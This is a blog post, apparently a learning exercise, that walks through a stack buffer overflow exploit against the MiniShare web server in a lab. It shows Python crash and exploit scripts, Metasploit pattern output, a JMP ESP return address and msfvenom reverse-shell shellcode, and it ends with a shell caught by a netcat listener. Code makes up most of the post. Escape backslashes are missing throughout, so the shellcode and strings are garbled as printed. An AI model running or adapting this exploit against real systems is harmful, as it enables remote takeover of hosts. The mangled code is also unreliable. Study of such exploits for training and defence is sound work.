Buffer Overflow

Home Blog


Just trying to wrap my heard around this, I thought I’d document my buffer overflow attack on an application called Minishare. I downloaded this on my Windows environment as well setting up Immunity Debugger to observe the crash.

Script:

First we need to generate a script to send x2000 “A”s to see if we can force a crash.

#!/usr/bin/python
import socket
import sys
import os
target_address="10.11.13.X"
target_port=80
payload = "GET " + "A"*2000 + " HTTP/1.1rnrn"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(payload)
sock.close()

Crash 1:

After running the python script, we can see that sending 2000 characters crashed the application. We can also see that EIP is written over with AAAAAAAs which is hex equivalent for x41

We need to gain control of the EIP. Basically this is like the steering wheel of the car. If we can control this, we can control where the application goes. For this reason we need to locate the 4 A’s that overwrite our EIP in the buffer.

Pattern_create.rb

We create a unique string of 2000 bytes, identify the 4 bytes that overwrites the EIP, then locate the 4 bytes in the buffer.

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co

We then insert this unique string into our python code:

payload = "GET " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co" +  " HTTP/1.1rnrn"

Crash 2

From the above picture, we can see that the EIP has re-written with 36684335. We can now use pattern_offset.rb to discover the offset of these specific 4 bytes in our unique string.

Pattern_offset.rb

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 36684335
[*] Exact match at offset 1787

The pattern_offset.rb script reports these 4 bytes being located at offset 1787 of the 2000 bytes. To confirm that this is correct, we need to overwrite 4 bytes after 1787 with “B”s. This is what the python code looks like:

payload = "GET " + "A"*1787 + "BBBB" + "C"*20 " HTTP/1.1rnrn"

Crash 3

After executing our python code again we can see that the ESP has a different value than our first crash. The EIP is cleanly overwritten by B’s (x42). Now lets create a reverse shell and control the execution.

Reverse shell:

We spawn up msfvenom and insert our reverse shell into our python code

#!/usr/bin/python
import socket
import sys
import os
target_address="10.11.13.X"
target_port=80
buf =  ""
buf += "xdbxc9xbaxdbx9ex77x65xd9x74x24xf4x58x31"
buf += "xc9xb1x52x31x50x17x03x50x17x83x33x62x95"
buf += "x90x3fx73xd8x5bxbfx84xbdxd2x5axb5xfdx81"
buf += "x2fxe6xcdxc2x7dx0bxa5x87x95x98xcbx0fx9a"
buf += "x29x61x76x95xaaxdax4axb4x28x21x9fx16x10"
buf += "xeaxd2x57x55x17x1ex05x0ex53x8dxb9x3bx29"
buf += "x0ex32x77xbfx16xa7xc0xbex37x76x5ax99x97"
buf += "x79x8fx91x91x61xccx9cx68x1ax26x6ax6bxca"
buf += "x76x93xc0x33xb7x66x18x74x70x99x6fx8cx82"
buf += "x24x68x4bxf8xf2xfdx4fx5ax70xa5xabx5ax55"
buf += "x30x38x50x12x36x66x75xa5x9bx1dx81x2ex1a"
buf += "xf1x03x74x39xd5x48x2ex20x4cx35x81x5dx8e"
buf += "x96x7exf8xc5x3bx6ax71x84x53x5fxb8x36xa4"
buf += "xf7xcbx45x96x58x60xc1x9ax11xaex16xdcx0b"
buf += "x16x88x23xb4x67x81xe7xe0x37xb9xcex88xd3"
buf += "x39xeex5cx73x69x40x0fx34xd9x20xffxdcx33"
buf += "xafx20xfcx3cx65x49x97xc7xeex7cx63xc7x64"
buf += "xe8x71xc7x69xb2xfcx21xe3x54xa9xfax9cxcd"
buf += "xf0x70x3cx11x2fxfdx7ex99xdcx02x30x6axa8"
buf += "x10xa5x9axe7x4ax60xa4xddxe2xeex37xbaxf2"
buf += "x79x24x15xa5x2ex9ax6cx23xc3x85xc6x51x1e"
buf += "x53x20xd1xc5xa0xafxd8x88x9dx8bxcax54x1d"
buf += "x90xbex08x48x4ex68xefx22x20xc2xb9x99xea"
buf += "x82x3cxd2x2cxd4x40x3fxdbx38xf0x96x9ax47"
buf += "x3dx7fx2bx30x23x1fxd4xebxe7x2fx9fxb1x4e"
buf += "xb8x46x20xd3xa5x78x9fx10xd0xfax15xe9x27"
buf += "xe2x5cxecx6cxa4x8dx9cxfdx41xb1x33xfdx43"

Now that this has been added to our python code, our next task is to find a way to redirect the execution flow to the shell code located at the memory address that the ESP is pointing to at crash time.

JMP ESP Instruction

 

We can see that Shell32.dll has a JMP_ESP instruction (769B6C28). If we redirect EIP to this address at the time of the crash, a JMP ESP instruction will be executed, which will lead the execution flow into our shellcode.

Keep in mind that when adding this to our code, we need to write it backwards. In this case it is x28x6cx9bx76

Final Code:

#!/usr/bin/python
import socket
import sys
import os
target_address="10.11.13.X"
target_port=80
buf =  ""
buf += "xdbxc9xbaxdbx9ex77x65xd9x74x24xf4x58x31"
buf += "xc9xb1x52x31x50x17x03x50x17x83x33x62x95"
buf += "x90x3fx73xd8x5bxbfx84xbdxd2x5axb5xfdx81"
buf += "x2fxe6xcdxc2x7dx0bxa5x87x95x98xcbx0fx9a"
buf += "x29x61x76x95xaaxdax4axb4x28x21x9fx16x10"
buf += "xeaxd2x57x55x17x1ex05x0ex53x8dxb9x3bx29"
buf += "x0ex32x77xbfx16xa7xc0xbex37x76x5ax99x97"
buf += "x79x8fx91x91x61xccx9cx68x1ax26x6ax6bxca"
buf += "x76x93xc0x33xb7x66x18x74x70x99x6fx8cx82"
buf += "x24x68x4bxf8xf2xfdx4fx5ax70xa5xabx5ax55"
buf += "x30x38x50x12x36x66x75xa5x9bx1dx81x2ex1a"
buf += "xf1x03x74x39xd5x48x2ex20x4cx35x81x5dx8e"
buf += "x96x7exf8xc5x3bx6ax71x84x53x5fxb8x36xa4"
buf += "xf7xcbx45x96x58x60xc1x9ax11xaex16xdcx0b"
buf += "x16x88x23xb4x67x81xe7xe0x37xb9xcex88xd3"
buf += "x39xeex5cx73x69x40x0fx34xd9x20xffxdcx33"
buf += "xafx20xfcx3cx65x49x97xc7xeex7cx63xc7x64"
buf += "xe8x71xc7x69xb2xfcx21xe3x54xa9xfax9cxcd"
buf += "xf0x70x3cx11x2fxfdx7ex99xdcx02x30x6axa8"
buf += "x10xa5x9axe7x4ax60xa4xddxe2xeex37xbaxf2"
buf += "x79x24x15xa5x2ex9ax6cx23xc3x85xc6x51x1e"
buf += "x53x20xd1xc5xa0xafxd8x88x9dx8bxcax54x1d"
buf += "x90xbex08x48x4ex68xefx22x20xc2xb9x99xea"
buf += "x82x3cxd2x2cxd4x40x3fxdbx38xf0x96x9ax47"
buf += "x3dx7fx2bx30x23x1fxd4xebxe7x2fx9fxb1x4e"
buf += "xb8x46x20xd3xa5x78x9fx10xd0xfax15xe9x27"
buf += "xe2x5cxecx6cxa4x8dx9cxfdx41xb1x33xfdx43"
nops="x90"*20
payload = "GET " + "A"*1787 + "x28x6cx9bx76" +nops +buf+ " HTTP/1.1rnrn"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(payload)
sock.close()

Shell access:

Restart Minishare program on the Windows VM, set up a netcat listener on the desired port, running the python code – we are able to receive a reverse shell.